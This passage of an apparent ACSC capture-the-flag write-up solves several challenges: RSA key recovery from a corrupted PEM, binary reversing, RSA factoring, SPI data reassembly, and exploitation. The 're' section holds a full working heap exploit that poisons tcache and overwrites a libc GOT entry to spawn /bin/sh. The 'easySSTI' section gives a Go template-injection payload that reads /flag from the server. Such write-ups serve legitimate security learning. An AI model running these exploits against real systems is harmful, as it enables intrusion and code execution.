028181??b??2??6??2??d??6??c??9??1??b??d??7??b??d??c??c??4??4??b??f??7??6??4??6??c??0??3??e??4??c??a??1??a??6??d??f??7??8??9??c??e??d??d??4??d??6??5??3??c??4??b??e??3??7??0??e??3??3??e??0??2??a??4??0??9??4??1??5??2??c??1??6??a??8??a??e??5??c??6??c??0??6??0??0??4??5 # exp1 ???180???5??7?????91561f9?????5b26??dc9??67c5??1f?????52a7e978e?????8??4??d905???6bc2??5??c??????????9???f??88f??????0?????252c????0??8502d????de?????2????c?????????7a1fcda????????cbc?????4??4f????5??90??3a3???1c5c????64??d675??1c7??e?????e???b??2??a????a??37??? # exp2 ?????0610760????????1????b?????e??f???2abb9a6????e??da??4ea??cb????????890d6a4????1???9??4??f???????50eede2??9?????2???4??a????4b??7b4??7??7b????2??29cc??f0f09bd????????e0??2ad9???????3??e??????87b??0???5????e???e7f5ec6????8??0???????????a??2??09??3dba????????31 # coeff 02??810???490????????44632e9??d???0????f??2a??4cf1????6586?????52??4???????8??aced9d44??78a7b8fa1d??564b81??b??f??b81e??72b5???272e??c????d?????????04f???806??428a??2??9?????2112e22?????485c??9??????738967??6??b?????f???0??f??5??7????33????4???0??7708cde????e8??2? ``` In this condition, We can use Branch-and-Prune method to extract lower half of bits. After extracting these informations, we can do Coppersmith's attack to reveal all of the p and q. Before doing actual scripting, I investigate paramators of the Coppersmith's attack by creating own examples to make sure the script working. ```python= from ctf import * BITS = 1024 p = getPrime(BITS) q = getPrime(BITS) n = p*q # length = 534 length = 534 mod = 2**length COPPERSMITH_BITS = BITS - length for lower in (p % mod, q % mod): PR.<x> = PolynomialRing(Zmod(n)) f = x * mod + lower f = f.monic() x_cands = f.small_roots(X=2**COPPERSMITH_BITS, beta=0.48, epsilon=0.02) print(x_cands) if len(x_cands) == 0: continue p = int(x_cands[0] * mod + lower) print(f'\n[+] {p=}') assert n % p == 0 ``` Following is the final script: ```python= # pem is generated by: # ssh-keygen -f "key.pem" -N "" -t rsa -m pem -b 2048 from base64 import b64decode from tqdm import tqdm from Crypto.PublicKey import RSA def pem_to_bits(pos): key = open(pos, "r").read() b64 = '' for l in key.splitlines(): if l.startswith("-"): continue b64 += l lower = b64.replace('?', 'A') upper = b64.replace('?', '/') l = b64decode(lower) u = b64decode(upper) bins = [] for c1, c2 in zip(l, u): cur = [] for i in range(8): if (c1 & 1) == (c2 & 1): cur.append(c1 & 1) else: cur.append(-1) c1 >>= 1 c2 >>= 1 bins += cur[::-1] return bins component_lens = [8//2, 6//2, 522//2, 10//2, 522//2, 264//2, 264//2] bins = pem_to_bits("corrupted.pem") components = [] for length in component_lens: cur, bins = bins[:length*8], bins[length*8:] components.append(cur) n_bits = components[2][4*8:] p_bits = components[5][3*8:] q_bits = components[6][3*8:] n = int("".join([*map(str, n_bits)]), 2) mod = 1 length = 0 cands = [(0, 0)] while length < 67*8 - 2: mod *= 2 length += 1 nxt_cands = [] for p_bit in ([0, 1] if p_bits[-length] == -1 else [p_bits[-length]]): for q_bit in ([0, 1] if q_bits[-length] == -1 else [q_bits[-length]]): for p, q in cands: nxtp = p + p_bit * (mod // 2) nxtq = q + q_bit * (mod // 2) if nxtp * nxtq % mod == n % mod: nxt_cands.append((nxtp, nxtq)) cands = nxt_cands print(length, cands) assert len(cands) == 1 BITS = 1024 COPPERSMITH_BITS = BITS - length for lower in cands[0]: PR.<x> = PolynomialRing(Zmod(n)) f = x * mod + lower f = f.monic() x_cands = f.small_roots(X=2**COPPERSMITH_BITS, beta=0.48, epsilon=0.02) print(x_cands) if len(x_cands) == 0: continue p = int(x_cands[0] * mod + lower) print(f'\n[+] {p=}') assert n % p == 0 break q = n // p e = 65537 d = pow(e, -1, (p - 1) * (q - 1)) key = RSA.construct((int(n), int(e), int(d))) data = key.exportKey(pkcs=1) open("recovered.key", "wb").write(data) ``` ## ngo First, we need to search the main function. Execute the binary with `wine`, you can find that strings like `The flag is "ACSC{` is printed in advance of the actual flag part. By tracking this reference, I manage to found the main function. Next, I port the process of computing the flag to Python. It looks like this: ```python= encoded = b'\x01\x19\xef\x5a\xfa\xc8\x2e\x69\x31\xd7\x81\x21' DAT_14000801c = 0x3D2964F0 mx = 1 for i in range(0xc): for j in range(mx): DAT_14000801c = DAT_14000801c >> 1 ^ -(DAT_14000801c & 1) & 0x80200003 print(chr((encoded[i] ^ DAT_14000801c) & 0xff)) mx = mx * 0x2a ``` You can notice that the line 8 is doing the division on the residue class of polynomial ring over the GF(2). Using this, we can remove the inner loop to speed up decoding. ```python= encoded = b'\x01\x19\xef\x5a\xfa\xc8\x2e\x69\x31\xd7\x81\x21' P.<x> = PolynomialRing(GF(2)) poly = 0 for b in bin(0x80200003)[2:]: if b == "1": poly += 1 poly *= x poly += 1 print(f'{poly=}') F.<x> = GF(2^32, modulus=poly) key = F.fetch_int(0x3D2964F0) flag = "ACSC{" div = 1 for i in range(0xc): key /= x^div flag += chr((encoded[i] ^^ key.integer_representation()) & 0xff) div = div * 0x2a flag += "}" print(flag) ``` ## re You can create overwrapped chunk by abusing realloc behaviour that `realloc(ptr, 0)` leads to freeing the chunk. Using this, we can poison tcache to realize AAR / AAW. The overview of the following exploit is as follows: 1. create overwrapped chunk for aar / aaw 2. aaw to create footer of the fakechunk 3. create overwrapped chunk for the libc leak 4. aaw to create header of the fakechunk that has size larger than tcache_max 5. free fakechk / leak libc address 6. adjust chunks to make heap suitable 7. aaw libc got to make `memcpy@got` as `xor edx, edx; call system` 8. place `/bin/sh` 9. enlarge chunk to ignite the chain ```python= from ctf import * BIN_NAME = './chall' LOCAL = False chall = ELF(BIN_NAME) if LOCAL: stream = process(BIN_NAME) else: stream = remote("nc re.chal.ctf.acsc.asia 9999") def reconnect(): global stream stream.close() if LOCAL: stream = process(BIN_NAME) else: stream = remote("nc re.chal.ctf.acsc.asia 9999") def edit(ind, size, content): print(f'edit({ind}, {size}, {content})') stream.sendlineafter('> ', '1') stream.sendlineafter(': ', ind) stream.sendlineafter(': ', size) if 2 <= size: stream.sendlineafter(': ', content) def show(): stream.sendlineafter('> ', '2') output = stream.recvuntil(b'\nMENU', drop=True, lookahead=True) print(output) res = [None] * 10 for i in range(10)[::-1]: ind = output.find(f'[{i}]'.encode()) if ind == -1: continue res[i] = output[(ind + 4):-1] output = output[:ind] return res edit(0, 0x30, b'') edit(0, 0, b'') edit(1, 0x30, b'') edit(2, 0x30, b'') edit(0, 0, b'') edit(2, 0, b'') heap_base = u64(show()[1]) << 12 print(f'{hex(heap_base)=}') def aaw(addr, content, addr1, addr2): print(f"[+] * {hex(addr)} <= {content.hex()}") edit(1, 0x30, b'\x00' * 0x18) # avoid double free edit(0, 0, b'') edit(1, 0x30, p64(addr ^ (heap_base >> 12))[:-1]) edit(addr1, 0x30, b'') edit(addr2, 0x30, content) # AAW to create fakecnk aaw(heap_base + 0x740, p64(0) + p64(0x21) + b'\x00' * 0x18 + p64(0x21)[:-4], 8, 3) edit(8, 0x40, b'') edit(8, 0, b'') edit(9, 0x40, b'') edit(8, 0, b'') aaw(heap_base + 0x310, p64(0) + p64(0x431), 4, 5) edit(8, 0, b'') arena_addr = u64(show()[9]) print(f'{hex(arena_addr)=}') libc = ELF('lib/libc.so.6') libc.base = arena_addr - 0x219ce0 edit(2, 0x50, b'\x00' * 16) # xor edx, edx; pop rbx; jmp _dl_rtld_di_serinfo@plt; do_system+2 # V V aaw(libc.base + 0x219000 + 0x160, p64(libc.base + 0x903a4) + p64(libc.base + 0x508f2), 6, 7) edit(4, 0x30, b'\x00' * 16) pause() edit(8, 0x60, b'\x00' * 0x18 + p64(0x411) + b'\x00' * 0x28 + p64(0x20ca1) + b'/bin/sh') stream.sendlineafter('> ', '1') stream.sendlineafter(': ', 4) stream.sendlineafter(': ', 0x50) stream.interactive() ```` ## Check_number_63 By $c\varphi+1=ed \Rightarrow \varphi \equiv -\frac{1}{c} \pmod e$, we can compute $\varphi \pmod {\prod e_i}$ using CRT. Using the fact that $\varphi=(p-1)(q-1)=pq-p-q+1$, we can also compute $p+q \pmod {\prod e_i}$. Since $\prod e_i<2^{1009}<p+q<2^{1025}$, we can't directly determine $p+q$. However, we can easily iterate candidates of the $p+q$. Let's assume that now we have $p+q$. Then, we are able to obtain $p$ and $q$ by solving quadratic equations. ```python= from ctf.sage import * from hashlib import sha512 from tqdm import tqdm out = open("output.txt", "r") exec(out.readline()) # n rem = [] mod = [] total = 1 while True: l = out.readline() if len(l) == 0: break e, check = map(int, l.split(":")) rem.append(inverse(e-check, e)) mod.append(e) total *= e phi = crt(rem, mod) ppq = (n - phi + 1) % total ppqs = [] while ppq < (2**1024 * 2): ppqs.append(ppq) ppq += total p, q = None, None for ppq in tqdm(ppqs): d = ppq^2 - 4 * n if not is_square(d): continue p = (ppq + sqrt(d)) // 2 q = n // p print(f'{p=}\n{q=}\n{p*q=}\n{n=}') if p != 1 and p * q == n: break else: print("[!] invalid") p = None q = None if p == None: exit(0) if p > q:p,q = q,p flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}" print(flag) ``` ## easySSTI After the messing around with properties of the context object by VSCode, I accidentaly found the `FS` object is accesible. ![](https://i.imgur.com/OCJ7axQ.png) Using this, we can smuggle the flag information from the server by just printing `[]byte`. ```python= import requests from urllib.parse import quote # https://pkg.go.dev/github.com/labstack/echo#Context # https://pkg.go.dev/github.com/labstack/echo#Echo # https://pkg.go.dev/text/template HOST = "http://easyssti.chal.ctf.acsc.asia:8000/" TEMPLATE = """ {{ $a := .Echo.Filesystem.Open "/flag" }} {{ $buf := .Get "template" }} {{ $a.Read $buf }} {{ $buf }} """.replace("\n", " ").strip() res = requests.get( HOST, headers={ "template": TEMPLATE } ).text print(res) print("".join([chr(int(item)) for item in res.split('[')[1].split(']')[0].split()])) ``` ## Hardware is not so hard I noticed that the long data comes after the particular pattern, which is `51000000XXXX`. After some research, I found that this pattern represents the command to the SD Card. > ![](https://i.imgur.com/6dmApzS.png) > **figure from [this](https://www.st.com/resource/en/application_note/an5595-spc58xexspc58xgx-multimedia-card-via-spi-interface-stmicroelectronics.pdf) article** According to [this article](http://elm-chan.org/docs/mmc/mmc_e.html), argument of the CMD17 represents the address of the block. Using this information, I wrote the script that re-orders the data. After saving the concatinated data as JPG image, You can find the flag inside the image. ```python= l = open("spi.txt", "r") res = open("raw.jpg", "wb") sep = bytes.fromhex("fffffffffffffe") s = [None] * 64 ind = -1 while True: line = l.readline() if " : " not in line: break data = bytes.fromhex(line.split(" : ")[1]) if data[0] == 0x51: ind = data[-2] arg = data[-4:-1] print(data[0] & 0b00111111, arg) if sep in data: data = data.split(sep)[1][:-2] print(len(data)) s[ind] = data for i in range(len(s)): if s[i] is None: print(f'[+] none: {i}') continue res.write(s[i]) ``` ![](https://i.imgur.com/4rCfbSt.jpg)